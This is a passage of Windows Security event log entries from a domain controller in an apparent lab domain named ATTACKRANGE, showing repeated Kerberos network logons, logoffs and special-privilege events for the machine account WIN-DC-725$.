Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD4EF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249001
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD489

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249019
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD7FD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249018
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD7FD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64109

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249017
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD7FD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249016
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD78A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249015
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD78A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64108

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249014
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD78A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249013
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD714

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249012
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD714
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64107

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249011
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD714

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249010
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD6A1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249009
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD6A1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64106

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249008
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD6A1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249031
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF140

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249030
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCF140
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64113

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249029
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF140

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249028
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF0CF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249027
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCF0CF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64112

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249026
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF0CF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249025
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF053

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249024
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCF053
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64111

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249023
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCF053

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249022
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCEFDD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249021
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCEFDD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64110

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249020
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCEFDD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249043
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD06E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249042
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD06E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64117

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249041
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD06E1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
